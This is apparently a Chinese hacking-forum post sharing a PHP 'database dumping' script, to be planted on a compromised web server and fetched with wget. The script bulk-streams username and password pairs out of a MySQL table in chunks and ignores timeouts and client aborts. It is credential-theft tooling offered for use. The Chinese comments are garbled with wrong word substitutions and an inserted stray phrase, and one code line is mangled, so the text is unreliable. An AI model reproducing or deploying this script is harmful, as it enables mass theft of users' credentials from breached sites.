在t00ls看到lcx牛分享了一個asp wget脫褲劇本。
于是拿php寫了一個mysql wget版本。
<?php
//author: By Gavin
//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean();
//設置數據庫信息
$DB_Server="127.0.0.1:3306";
$DB_User="root";
$DB_Pass="root";
$DB_Name="DBName";
//分段每次limit查詢出來的條數,按照實際環境調解,國外域名 免費域名,默認為2w
$max_limit_num = 20000;
//最大緩存條數,防備占用過多內存,按照每條數據巨細調解
$max_cache_num = 5000;
$gavin_start_num = intval($_GET['sn']); //吸收起始條數
$gavin_end_num = intval($_GET['en']); //吸收竣事條數
if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']); //吸收每次分段查詢的條數
$gavin_down_num = intval($gavin_end_num - $gavin_start_num); //計較總下載條數
if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
$beishu = intval($gavin_down_num/$max_limit_num);
$yushu = intval($gavin_down_num%$max_limit_num);
[email protected]_connect($DB_Server,$DB_User,$DB_Pass);
if ($conn==FALSE) {
echo "數據庫毗連墮落!<br>";
exit();
}
if (@mysql_select_db($DB_Name,$conn)==FALSE) {
echo "打開數據庫:".$DB_Name." 失敗!";
exit();
}
mysql_query("set names 'utf8'");
$num = 1;
$out_put_str = '';
if (ob_get_level() == 0) ob_start();
for ($i=0;$i<$beishu;$i++){
$new_start_num = $i*$max_limit_num+$gavin_start_num;
if ($i == ($beishu-1)) $max_limit_num += $yushu;
$sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //設置SQL語句
$res = mysql_query($sql) or die(mysql_error());
while($result = mysql_fetch_array($res))
{
$num ++;
$out_put_str = $result["username"]."-->".$result["password"]."n"; //名目化脫出的數據,按照SQL中的字段調解
if ($num >= $max_cache_num){
@ob_end_flush();
$num = 0;
}
echo $out_put_str;
// unset($out_put_str);
}
}
?>
當地測試截圖: